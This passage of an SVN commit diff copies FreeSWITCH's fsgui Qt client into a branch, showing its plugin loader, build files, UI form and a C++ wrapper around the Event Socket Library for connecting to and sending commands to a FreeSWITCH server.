+    if (pluginsDir.dirName().toLower() == "debug" || pluginsDir.dirName().toLower() == "release")
+        pluginsDir.cdUp();
+#elif defined(Q_OS_MAC)
+    if (pluginsDir.dirName() == "MacOS") {
+        pluginsDir.cdUp();
+        pluginsDir.cdUp();
+        pluginsDir.cdUp();
+    }
+#endif
+    pluginsDir.cd("plugins");
+    foreach (QString fileName, pluginsDir.entryList(QDir::Files))
+    {
+        QPluginLoader *loader = new QPluginLoader(pluginsDir.absoluteFilePath(fileName));
+        if (MonitorInterface *interface = qobject_cast<MonitorInterface *>(loader->instance()))
+        {
+            if(QMainWindow *interface_window = qobject_cast<QMainWindow *>(loader->instance()))
+            {
+                list_available_monitor_plugins.append(loader);
+                interface_window->setWindowTitle(QString("FsGui - ") + interface_window->windowTitle());
+                interface_window->setAttribute(Qt::WA_QuitOnClose);
+                interface->addConfigItems(settings);
+                interface->setServerManager(serverManager);
+                createMenus(interface_window->menuBar());
+                pluginConfigPage->listWidget->addItem(QString("%1\n     %2").arg(interface->appName(),
+                                                                             interface->appDescription()));
+            }
+            else
+            {
+                QMessageBox::critical(0, tr("Error!"),
+                                      tr("Plugin %1 does not have the proper main Window"));
+            }
+        }
+    }
+    if (list_available_monitor_plugins.isEmpty())
+    {
+        QMessageBox::critical(0, tr("Error!"),
+                                      tr("No available plugins. Install compatible plugins before running FsGui."));
+        exit(1);
+    }
+}
+
+void AppManager::runPlugin()
+{
+    if (list_available_monitor_plugins.at(pluginConfigPage->listWidget->currentRow())->isLoaded())
+    {
+        MonitorInterface * interface = qobject_cast<MonitorInterface *>(list_available_monitor_plugins.at(pluginConfigPage->listWidget->currentRow())->instance());
+        interface->newInstance();
+        settings->hide();
+    }
+}
+
+void AppManager::lastWindowClosed()
+{
+    if (!reallyClose)
+    {
+        reallyClose = new QMessageBox();
+        reallyClose->setText("Do you really want to close FsGui?");
+        reallyClose->setStandardButtons(QMessageBox::Yes | QMessageBox::No);
+        reallyClose->setDefaultButton(QMessageBox::Yes);
+        reallyClose->setIcon(QMessageBox::Warning);
+        int ret = reallyClose->exec();
+        if(ret == QMessageBox::Yes)
+        {
+            for (int i = 0; i < list_available_monitor_plugins.size(); ++i)
+            {
+                list_available_monitor_plugins.at(i)->unload();
+            }
+            exit(0);
+        }
+        else
+        {
+            delete reallyClose;
+            reallyClose = NULL;
+            settings->show();
+            settings->raise();
+            settings->activateWindow();
+        }
+    }
+}
+
+void AppManager::pluginSelected(QListWidgetItem *current, QListWidgetItem */*previous*/)
+{
+    if (current)
+        pluginConfigPage->btnRun->setEnabled(true);
+    else
+        pluginConfigPage->btnRun->setEnabled(false);
+}
+
+void AppManager::about()
+{
+    QMessageBox::about(qobject_cast<QMainWindow *>(list_available_monitor_plugins.first()),
+                       tr("About FsGui"),
+                       tr("Hey, this is FsGui!!!"));
+}

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/appmanager.h

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/appmanager.h (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/fsgui/appmanager.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/appmanager.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/appmanager.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,76 @@
+#ifndef APPMANAGER_H
+#define APPMANAGER_H
+
+#include <QObject>
+#include <QtCore>
+
+namespace Ui {
+    class pluginConfigPage;
+}
+class QMainWindow;
+class QAction;
+class QMenu;
+class QMenuBar;
+class QListWidgetItem;
+class QMessageBox;
+class MonitorInterface;
+class SettingsDialog;
+class ServerManager;
+
+/*!
+  \brief This class will be the center of each installation
+  and will load some plugins.
+  */
+class AppManager : public QObject
+{
+    Q_OBJECT
+
+public:
+    AppManager(QObject *parent = 0);
+
+private:
+    /*!
+      \brief Create all actions that belong to this specific window.
+      */
+    void createActions();
+    /*!
+      \brief Create menus and override offensing default menus.
+      */
+    void createMenus(QMenuBar *menu_bar);
+    /*!
+      \brief Load all plugins populating each corresponding list
+      */
+    void loadPlugins();
+
+    QList<QPluginLoader *> list_available_monitor_plugins; /*< List of available Monitor plugins */
+    QAction *action_exit; /*< Exit the application */
+    QAction *action_preferences; /*< Show the preferences dialog */
+    QAction *action_about; /*< Calls the about dialog */
+    QMenu *menu_file; /*< The file menu on menu bar */
+    QMenu *menu_edit; /*< The edit menu on menu bar */
+    QMenu *menu_help; /*< The help menu on menu bar */
+    ServerManager *serverManager; /*< The dialog that can fetch new esl connections from the config */
+    SettingsDialog *settings; /*< Settings dialog */
+    Ui::pluginConfigPage *pluginConfigPage; /*< The plugin config page being used */
+    QMessageBox *reallyClose;
+
+private slots:
+    /*!
+      \brief Run the selected plugin.
+      */
+    void runPlugin();
+    /*!
+      \brief Cleanup and give plugins a chance to clean for themselves.
+      */
+    void lastWindowClosed();
+    /*!
+      \brief Just enables or disables the run button when no plugins is selected.
+      */
+    void pluginSelected(QListWidgetItem*, QListWidgetItem*);
+    /*!
+      \brief Show the about dialog.
+      */
+    void about();
+};
+
+#endif // APPMANAGER_H

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/config_plugin_widget.ui

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/config_plugin_widget.ui (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/fsgui/config_plugin_widget.ui) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/config_plugin_widget.ui	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/config_plugin_widget.ui	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>pluginConfigPage</class>
+ <widget class="QWidget" name="pluginConfigPage">
+  <property name="geometry">
+   <rect>
+    <x>0</x>
+    <y>0</y>
+    <width>374</width>
+    <height>210</height>
+   </rect>
+  </property>
+  <property name="windowTitle">
+   <string>Form</string>
+  </property>
+  <layout class="QHBoxLayout" name="horizontalLayout">
+   <item>
+    <widget class="QListWidget" name="listWidget"/>
+   </item>
+   <item>
+    <layout class="QVBoxLayout" name="verticalLayout">
+     <item>
+      <widget class="QPushButton" name="btnRun">
+       <property name="enabled">
+        <bool>false</bool>
+       </property>
+       <property name="text">
+        <string>&amp;Run</string>
+       </property>
+      </widget>
+     </item>
+     <item>
+      <spacer name="verticalSpacer">
+       <property name="orientation">
+        <enum>Qt::Vertical</enum>
+       </property>
+       <property name="sizeHint" stdset="0">
+        <size>
+         <width>20</width>
+         <height>40</height>
+        </size>
+       </property>
+      </spacer>
+     </item>
+    </layout>
+   </item>
+  </layout>
+ </widget>
+ <resources/>
+ <connections/>
+</ui>

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/fsgui.pro

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/fsgui.pro (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/fsgui/fsgui.pro) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/fsgui.pro	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/fsgui.pro	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,19 @@
+# version check qt
+contains(QT_VERSION, ^4\.[0-4]\..*) { 
+    message("Cannot build Qt Creator with Qt version $$QT_VERSION.")
+    error("Use at least Qt 4.5.")
+}
+QT += network
+TARGET = ../../bin/fsgui
+TEMPLATE = app
+INCLUDEPATH = ../interfaces \
+    ../../../../../libs/esl/src/include/
+SOURCES += main.cpp \
+    appmanager.cpp
+HEADERS += appmanager.h
+LIBS += -L../interfaces \
+    -linterfaces \
+    -L../../../../../libs/esl/ \
+    -lesl
+FORMS += config_plugin_widget.ui
+RESOURCES += ../resources/resources.qrc

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/main.cpp

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/main.cpp (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/fsgui/main.cpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/main.cpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/main.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+#include <QtGui/QApplication>
+#include "appmanager.h"
+
+int main(int argc, char *argv[])
+{
+    //Q_INIT_RESOURCE(sdi);
+    QApplication a(argc, argv);
+    AppManager w;
+    return a.exec();
+}

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/interfaces)

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/eslconnection.cpp

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/eslconnection.cpp (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/interfaces/eslconnection.cpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/eslconnection.cpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/eslconnection.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,478 @@
+/*
+ * Copyright (c) 2007, Anthony Minessale II
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *
+ * * Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * * Neither the name of the original author; nor the names of any contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ *
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER
+ * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * Contributor(s):
+ *
+ * Joao Mesquita <jmesquita (at) gmail.com>
+ *
+ */
+
+#include <QtGui>
+#include <esl.h>
+#include "eslconnection.h"
+
+#define event_construct_common() event = NULL; serialized_string = NULL; mine = 0; hp = NULL
+
+void eslSetLogLevel(int level)
+{
+    esl_global_set_default_logger(level);
+}
+
+ESLconnection::ESLconnection(const char *host, const char *port, const char *password, const char *name)
+        : handle(NULL),_host(new QString(host)), _port(new QString(port)),
+        _pass(new QString(password)), _name(new QString(name)){}
+ESLconnection::~ESLconnection()
+{
+    if (isConnected()) {
+        esl_disconnect(handle);
+    }
+
+}
+
+QString ESLconnection::getName()
+{
+    return *_name;
+}
+
+int ESLconnection::disconnect()
+{
+    if (handle)
+    {
+        if (handle->connected)
+        {
+            return esl_disconnect(handle);
+        }
+    }
+    return 0;
+}
+
+bool ESLconnection::setConsoleLogLevel(int level)
+{
+    ESLevent *event = sendRecv(QString("log %1").arg(level).toAscii());
+    if (event)
+    {
+        return true;
+    }
+    return false;
+}
+
+void ESLconnection::connect()
+{
+    start();
+}
+
+int ESLconnection::isConnected()
+{
+    if (handle)
+        return handle->connected;
+    return 0;
+}
+
+void ESLconnection::send(QString cmd)
+{
+    esl_send(handle, cmd.toAscii());
+}
+
+ESLevent *ESLconnection::sendRecv(const char *cmd)
+{
+    if (esl_send_recv(handle, cmd) == ESL_SUCCESS) {
+        esl_event_t *event;
+        esl_event_dup(&event, handle->last_sr_event);
+        return new ESLevent(event, 1);
+    }
+
+    return NULL;
+}
+
+void ESLconnection::api(QString cmd)
+{
+    if (cmd.isEmpty()) {
+        return;
+    }
+
+    if (esl_send_recv(handle, QString("api %1").arg(cmd).toAscii()) == ESL_SUCCESS) {
+        esl_event_t *event;
+        esl_event_dup(&event, handle->last_sr_event);
+        emit gotEvent(new ESLevent(event, 1));
+    }
+}
+
+void ESLconnection::bgapi(QString cmd)
+{
+    if (cmd.isEmpty()) {
+        return;
+    }
+
+    if (esl_send_recv(handle, QString("bgapi %1").arg(cmd).toAscii()) == ESL_SUCCESS) {
+        esl_event_t *event;
+        esl_event_dup(&event, handle->last_sr_event);
+        emit gotEvent(new ESLevent(event, 1));
+    }
+}
+
+ESLevent *ESLconnection::getInfo()
+{
+    if (handle->connected && handle->info_event) {
+        esl_event_t *event;
+        esl_event_dup(&event, handle->info_event);
+        return new ESLevent(event, 1);
+    }
+
+    return NULL;
+}
+
+int ESLconnection::setAsyncExecute(const char *val)
+{
+    if (val) {
+        handle->async_execute = esl_true(val);
+    }
+    return handle->async_execute;
+}
+
+int ESLconnection::setEventLock(const char *val)
+{
+    if (val) {
+        handle->event_lock = esl_true(val);
+    }
+    return handle->event_lock;
+}
+
+int ESLconnection::execute(const char *app, const char *arg, const char *uuid)
+{
+    return esl_execute(handle, app, arg, uuid);
+}
+
+
+int ESLconnection::executeAsync(const char *app, const char *arg, const char *uuid)
+{
+    int async = handle->async_execute;
+    int r;
+
+    handle->async_execute = 1;
+    r = esl_execute(handle, app, arg, uuid);
+    handle->async_execute = async;
+
+    return r;
+}
+
+int ESLconnection::sendEvent(ESLevent *send_me)
+{
+    return esl_sendevent(handle, send_me->event);
+}
+
+ESLevent *ESLconnection::recvEvent()
+{
+    if (last_event_obj) {
+        delete last_event_obj;
+    }
+
+    if (esl_recv_event(handle, 1, NULL) == ESL_SUCCESS) {
+        esl_event_t *e = handle->last_ievent ? handle->last_ievent : handle->last_event;
+        if (e) {
+            esl_event_t *event;
+            esl_event_dup(&event, e);
+            last_event_obj = new ESLevent(event, 1);
+            return last_event_obj;
+        }
+    }
+
+    last_event_obj = new ESLevent("server_disconnected");
+
+    return last_event_obj;
+}
+
+ESLevent *ESLconnection::recvEventTimed(int ms)
+{
+    if (last_event_obj) {
+        delete last_event_obj;
+        last_event_obj = NULL;
+    }
+
+    if (esl_recv_event_timed(handle, ms, 1, NULL) == ESL_SUCCESS) {
+        esl_event_t *e = handle->last_ievent ? handle->last_ievent : handle->last_event;
+        if (e) {
+            esl_event_t *event;
+            esl_event_dup(&event, e);
+            last_event_obj = new ESLevent(event, 1);
+            return last_event_obj;
+        }
+    }
+
+    return NULL;
+}
+
+ESLevent *ESLconnection::filter(const char *header, const char *value)
+{
+    esl_status_t status = esl_filter(handle, header, value);
+
+    if (status == ESL_SUCCESS && handle->last_sr_event) {
+        esl_event_t *event;
+        esl_event_dup(&event, handle->last_sr_event);
+        return new ESLevent(event, 1);
+    }
+
+    return NULL;
+
+}
+
+int ESLconnection::events(const char *etype, const char *value)
+{
+    esl_event_type_t type_id = ESL_EVENT_TYPE_PLAIN;
+
+    if (!strcmp(etype, "xml")) {
+        type_id = ESL_EVENT_TYPE_XML;
+    }
+
+    return esl_events(handle, type_id, value);
+}
+
+void ESLconnection::run(void)
+{
+
+    handle = new esl_handle_t;
+    memset(handle, 0, sizeof(esl_handle_t));
+    last_event_obj = NULL;
+    if (esl_connect(handle, _host->toAscii(), _port->toInt(), _pass->toAscii()) == ESL_SUCCESS)
+    {
+        send("event plain ALL");
+        send("log 7");
+        emit connected();
+    }
+    while(isConnected())
+    {
+        ESLevent * event = recvEventTimed(10);
+        if (event)
+        {
+            ESLevent * e = new ESLevent(event);
+            emit gotEvent(e);
+        }
+    }
+    if (!QString(handle->err).isEmpty())
+    {
+        emit connectionFailed(handle->err);
+    }
+    else
+    {
+        emit disconnected();
+    }
+}
+
+// ESLevent
+///////////////////////////////////////////////////////////////////////
+
+ESLevent::ESLevent(const char *type, const char *subclass_name)
+{
+    esl_event_types_t event_id;
+
+    event_construct_common();
+
+    if (esl_name_event(type, &event_id) != ESL_SUCCESS) {
+        event_id = ESL_EVENT_MESSAGE;
+    }
+
+    if (!esl_strlen_zero(subclass_name) && event_id != ESL_EVENT_CUSTOM) {
+        esl_log(ESL_LOG_WARNING, "Changing event type to custom because you specified a subclass name!\n");
+        event_id = ESL_EVENT_CUSTOM;
+    }
+
+    if (esl_event_create_subclass(&event, event_id, subclass_name) != ESL_SUCCESS) {
+        esl_log(ESL_LOG_ERROR, "Failed to create event!\n");
+        event = NULL;
+    }
+
+    serialized_string = NULL;
+    mine = 1;
+}
+
+ESLevent::ESLevent(esl_event_t *wrap_me, int free_me)
+{
+    event_construct_common();
+    event = wrap_me;
+    mine = free_me;
+    serialized_string = NULL;
+}
+
+
+ESLevent::ESLevent(ESLevent *me)
+{
+    /* workaround for silly php thing */
+    event = me->event;
+    mine = me->mine;
+    serialized_string = NULL;
+    me->event = NULL;
+    me->mine = 0;
+    esl_safe_free(me->serialized_string);
+}
+
+ESLevent::~ESLevent()
+{
+
+    if (serialized_string) {
+        free(serialized_string);
+    }
+
+    if (event && mine) {
+        esl_event_destroy(&event);
+    }
+}
+
+const char *ESLevent::nextHeader(void)
+{
+    const char *name = NULL;
+
+    if (hp) {
+        name = hp->name;
+        hp = hp->next;
+    }
+
+    return name;
+}
+
+const char *ESLevent::firstHeader(void)
+{
+    if (event) {
+        hp = event->headers;
+    }
+
+    return nextHeader();
+}
+
+const char *ESLevent::serialize()
+{
+    this_check("");
+
+    esl_safe_free(serialized_string);
+
+    if (!event) {
+        return "";
+    }
+
+    if (esl_event_serialize(event, &serialized_string, ESL_TRUE) == ESL_SUCCESS) {
+        return serialized_string;
+    }
+
+    return "";
+
+}
+
+bool ESLevent::setPriority(esl_priority_t priority)
+{
+    this_check(false);
+
+    if (event) {
+        esl_event_set_priority(event, priority);
+        return true;
+    } else {
+        esl_log(ESL_LOG_ERROR, "Trying to setPriority an event that does not exist!\n");
+    }
+    return false;
+}
+
+const char *ESLevent::getHeader(const char *header_name)
+{
+    this_check("");
+
+    if (event) {
+        return esl_event_get_header(event, header_name);
+    } else {
+        esl_log(ESL_LOG_ERROR, "Trying to getHeader an event that does not exist!\n");
+    }
+    return NULL;
+}
+
+bool ESLevent::addHeader(const char *header_name, const char *value)
+{
+    this_check(false);
+
+    if (event) {
+        return esl_event_add_header_string(event, ESL_STACK_BOTTOM, header_name, value) == ESL_SUCCESS ? true : false;
+    } else {
+        esl_log(ESL_LOG_ERROR, "Trying to addHeader an event that does not exist!\n");
+    }
+
+    return false;
+}
+
+bool ESLevent::delHeader(const char *header_name)
+{
+    this_check(false);
+
+    if (event) {
+        return esl_event_del_header(event, header_name) == ESL_SUCCESS ? true : false;
+    } else {
+        esl_log(ESL_LOG_ERROR, "Trying to delHeader an event that does not exist!\n");
+    }
+
+    return false;
+}
+
+
+bool ESLevent::addBody(const char *value)
+{
+    this_check(false);
+
+    if (event) {
+        return esl_event_add_body(event, "%s", value) == ESL_SUCCESS ? true : false;
+    } else {
+        esl_log(ESL_LOG_ERROR, "Trying to addBody an event that does not exist!\n");
+    }
+
+    return false;
+}
+
+char *ESLevent::getBody(void)
+{
+
+    this_check((char *)"");
+
+    if (event) {
+        return esl_event_get_body(event);
+    } else {
+        esl_log(ESL_LOG_ERROR, "Trying to getBody an event that does not exist!\n");
+    }
+
+    return NULL;
+}
+
+const char *ESLevent::getType(void)
+{
+    this_check("");
+
+    if (event) {
+        return esl_event_name(event->event_id);
+    } else {
+        esl_log(ESL_LOG_ERROR, "Trying to getType an event that does not exist!\n");
+    }
+
+    return (char *) "invalid";
+}
+

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/eslconnection.h

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/eslconnection.h (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/interfaces/eslconnection.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/eslconnection.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/eslconnection.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,116 @@
+/*
+ * Copyright (c) 2007, Anthony Minessale II
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *
+ * * Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * * Neither the name of the original author; nor the names of any contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ *
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER
+ * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * Contributor(s):
+ *
+ * Joao Mesquita <jmesquita (at) gmail.com>
+ *
+ */
+
+#ifndef ESLCONNECTION_H
+#define ESLCONNECTION_H
+#include <QThread>
+#include <QtGui>
+#include <esl.h>
+
+#define this_check(x) do { if (!this) { esl_log(ESL_LOG_ERROR, "object is not initalized\n"); return x;}} while(0)
+#define this_check_void() do { if (!this) { esl_log(ESL_LOG_ERROR, "object is not initalized\n"); return;}} while(0)
+
+
+class ESLevent {
+ private:
+        esl_event_header_t *hp;
+ public:
+        esl_event_t *event;
+        char *serialized_string;
+        int mine;
+
+        ESLevent(const char *type, const char *subclass_name = NULL);
+        ESLevent(esl_event_t *wrap_me, int free_me = 0);
+        ESLevent(ESLevent *me);
+        virtual ~ESLevent();
+        const char *serialize();
+        bool setPriority(esl_priority_t priority = ESL_PRIORITY_NORMAL);
+        const char *getHeader(const char *header_name);
+        char *getBody(void);
+        const char *getType(void);
+        bool addBody(const char *value);
+        bool addHeader(const char *header_name, const char *value);
+        bool delHeader(const char *header_name);
+        const char *firstHeader(void);
+        const char *nextHeader(void);
+};
+
+class ESLconnection : public QThread
+{
+    Q_OBJECT
+ private:
+    esl_handle_t *handle;
+    ESLevent *last_event_obj;
+    QString *_host;
+    QString *_port;
+    QString *_pass;
+    QString *_name;
+ public:
+    ESLconnection(const char *host, const char *port, const char *password, const char *name);
+    virtual ~ESLconnection();
+    int isConnected();
+    void connect();
+    ESLevent *getInfo();
+    ESLevent *sendRecv(const char *cmd);
+    int sendEvent(ESLevent *send_me);
+    ESLevent *recvEvent();
+    ESLevent *recvEventTimed(int ms);
+    ESLevent *filter(const char *header, const char *value);
+    int events(const char *etype, const char *value);
+    int execute(const char *app, const char *arg = NULL, const char *uuid = NULL);
+    int executeAsync(const char *app, const char *arg = NULL, const char *uuid = NULL);
+    int setAsyncExecute(const char *val);
+    int setEventLock(const char *val);
+    int disconnect(void);
+    bool setConsoleLogLevel(int);
+    void api(QString cmd);
+    void bgapi(QString cmd);
+    void send(QString cmd);
+    QString getName();
+signals:
+    void connected(void);
+    void disconnected(void);
+    void connectionFailed(QString);
+    void gotEvent(ESLevent*);
+protected:
+    void run();
+};
+
+void eslSetLogLevel(int level);
+
+#endif // ESLCONNECTION_H

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/interfaces.h

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/interfaces.h (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/interfaces/interfaces.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/interfaces.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/interfaces.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,46 @@
+#ifndef INTERFACES_H
+#define INTERFACES_H
+
+#include <QtPlugin>
+
+class ESLevent;
+class SettingsDialog;
+class ServerManager;
+
+/*!
+  \brief This interface is provided to extend FsGui with applications that
+  could do any kind of monitoring of any kinda of data inside FreeSWITCH
+  or its components
+  */
+class MonitorInterface
+{
+public:
+    virtual ~MonitorInterface() { }
+    /*!
+      \brief This returns the plugin itself so we can connect signals/slots
+      */
+    virtual QObject* getMonitorInterfaceObject() = 0;
+    /*!
+      \brief This should return the name of the application
+      */
+    virtual QString appName() = 0;
+    /*!
+      \brief This should return the application description.
+      */
+    virtual QString appDescription() = 0;
+    /*!
+      \brief Add a new configuration item to the settings dialog
+      */
+    virtual void addConfigItems(SettingsDialog *settings) = 0;
+    /*!
+      \brief Sets a pointer to ServerManager object
+      */
+    virtual void setServerManager(ServerManager *serverManager) = 0;
+    /*!
+      \brief Run a new instance of this application.
+    */
+    virtual void newInstance() = 0;
+};
+
+Q_DECLARE_INTERFACE(MonitorInterface, "com.fsgui.fsgui.MonitorInterface/1.0")
+#endif // INTERFACES_H

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/interfaces.pro

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/interfaces.pro (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/interfaces/interfaces.pro) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/interfaces.pro	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/interfaces.pro	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+TEMPLATE = lib
+CONFIG += staticlib
+INCLUDEPATH = ../fsgui/ \
+    ../../../../../libs/esl/src/include/
+HEADERS = interfaces.h \
+    settingsdialog.h \
+    servermanager.h \
+    eslconnection.h
+SOURCES = settingsdialog.cpp \
+    servermanager.cpp \
+    eslconnection.cpp
+FORMS += settingsdialog.ui \
+    servermanager.ui
+LIBS+=-L../../../../../libs/esl/ \
+    -lesl
+RESOURCES += ../resources/resources.qrc

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/servermanager.cpp

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/servermanager.cpp (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/interfaces/servermanager.cpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/servermanager.cpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/interfaces/servermanager.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,155 @@
+#include <QtGui>
+#include "eslconnection.h"
+#include "servermanager.h"
+#include "ui_servermanager.h"
+
+ServerManager::ServerManager(QWidget *parent) :
+    QDialog(parent),
+    m_ui(new Ui::ServerManager)
+{
+    m_ui->setupUi(this);
+
+    m_ui->serverConfigTabs->removeTab(1);
+
+    readSettings();
+    QObject::connect(m_ui->listServers, SIGNAL(currentItemChanged(QTreeWidgetItem*,QTreeWidgetItem*)),
+                     this, SLOT(currentItemChanged(QTreeWidgetItem*,QTreeWidgetItem*)));
+    QObject::connect(m_ui->btnAddServer, SIGNAL(clicked()),
+                     this, SLOT(addServer()));
+    QObject::connect(m_ui->btnDelServer, SIGNAL(clicked()),
+                     this, SLOT(deleteServer()));
+    QObject::connect(m_ui->btnEdit, SIGNAL(clicked()),
+                     this, SLOT(editServer()));
+    QObject::connect(m_ui->btnSave, SIGNAL(clicked()),
+                     this, SLOT(saveServer()));
+}
+
+ServerManager::~ServerManager()
+{
+    delete m_ui;
+}
+
+ESLconnection * ServerManager::getESLconnection()
+{
+    QTreeWidgetItem * item = m_ui->listServers->selectedItems().first();
+    return new ESLconnection(item->data(0, ServerManager::Host).toByteArray(),
+                             item->data(0, ServerManager::Port).toByteArray(),
+                             item->data(0, ServerManager::Password).toByteArray(),
+                             item->data(0, ServerManager::Name).toByteArray());
+}
+
+void ServerManager::changeEvent(QEvent *e)
+{
+    QDialog::changeEvent(e);
+    switch (e->type()) {
+    case QEvent::LanguageChange:
+        m_ui->retranslateUi(this);
+        break;
+    default:
+        break;
+    }
+}
+
